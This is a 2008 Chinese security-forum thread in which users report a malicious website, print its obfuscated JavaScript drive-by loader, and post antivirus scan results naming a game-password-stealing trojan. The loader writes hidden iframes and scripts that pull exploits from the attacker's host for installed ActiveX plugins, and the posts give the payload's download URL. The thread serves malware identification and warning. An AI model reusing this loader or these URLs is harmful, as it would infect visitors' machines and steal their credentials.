发个毒网

显示全部楼层 · 发表于 2008-1-23 14:42:16

RT
www.sotians.cn
费尔报

显示全部楼层 · 发表于 2008-1-23 14:45:24

卡6报http://www.sotians.cn/img/css.js

var Then=new Date();
asdfasf="fldsajfldsajflas";
Then.setTime(Then.getTime()+2*60*60*1000);
var cookieString=new String(document.cookie);
var cookieHeader="Cookie1=";
asdfasf="fldsajfldsajflas";
var beginPosition=cookieString.indexOf(cookieHeader);
document.write('<iframe style=display:none width=50 height=0 src="http://www.sotians.cn/img/real.gif"></iframe>');
asdfasf="fldsajfldsajflas";
if(beginPosition==-1){asdfasf="fldsajfldsajflas";
document.cookie="Cookie1=POPWINDOS;
expires="+Then.toGMTString();
try{if(new ActiveXObject("Microsoft.XMLHTTP"))document.write('<script src="http://www.sotians.cn/img/xpkk.js"></script>')}catch(e){}try{if(new ActiveXObject("DPClient.Vod"))document.write('<iframe style=display:none src="http://www.sotians.cn/img/tok.gif"></iframe>')}catch(e){}try{if(new ActiveXObject("MPS.StormPlayer.1"))document.write('<iframe style=display:none src="http://www.sotians.cn/img/xpbf.gif"></iframe>')}catch(e){}try{if(new ActiveXObject("e.PowerPlayerCtrl.1"))document.write('<iframe style=display:none src="http://www.sotians.cn/img/pps.gif"></iframe>')}catch(e){}try{if(new ActiveXObject("Pdg2"))document.write('<iframe style=display:none src="http://www.sotians.cn/img/reader.gif"></iframe>')}catch(e){}try{if(new ActiveXObject("GLCHAT.GLChatCtrl.1"))document.write('<iframe style=display:none src="http://www.sotians.cn/img/xplz.gif"></iframe>')}catch(e){}try{if(new ActiveXObject("BaiduBar.Tool.1"))document.write('<iframe style=display:none src="http://www.sotians.cn/img/baidu.gif"></iframe>')}catch(e){}}

改时间，还有N多expolit

显示全部楼层 · 发表于 2008-1-23 14:48:09

我的费尔就报了一个

显示全部楼层 · 发表于 2008-1-23 14:49:39

利用了RsalPlayer的漏洞[:27:]

显示全部楼层 · 发表于 2008-1-23 14:50:36

pps.gif - 404
解码如下
real.gif - Expolit.Real 不会解码.....

最后是这个毒
http://www.sotians.cn/img/svcoss.cab

显示全部楼层 · 发表于 2008-1-23 14:54:02

老毒了

显示全部楼层 · 发表于 2008-1-23 15:03:07

Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\svcoss.cab'
C:\TDDOWNLOAD\
  svcoss.cab
[0] Archive type: CAB (Microsoft)
   --> svcoss.exe
      [1] Archive type: Runtime Packed
      --> Object
      [2] Archive type: RSRC
      --> Object
            [DETECTION] Is the Trojan horse TR/PSW.OnlineGames.mtw
            [WARNING] Infected files in archives cannot be repaired!
   [INFO]    The file was deleted!

显示全部楼层 · 发表于 2008-1-23 15:35:24

安全卫士不允许访问!

这次居然让他抢到头功,不容易呀!

显示全部楼层 · 发表于 2008-1-23 16:34:06

微点砍掉

显示全部楼层 · 发表于 2008-1-23 16:37:52

蜘蛛 D:\temp\4mwcxb9i.rar\svcoss.exe - infected with Trojan.PWS.Gamania.6669

Archive contains an infected item

[已鉴定] 发个毒网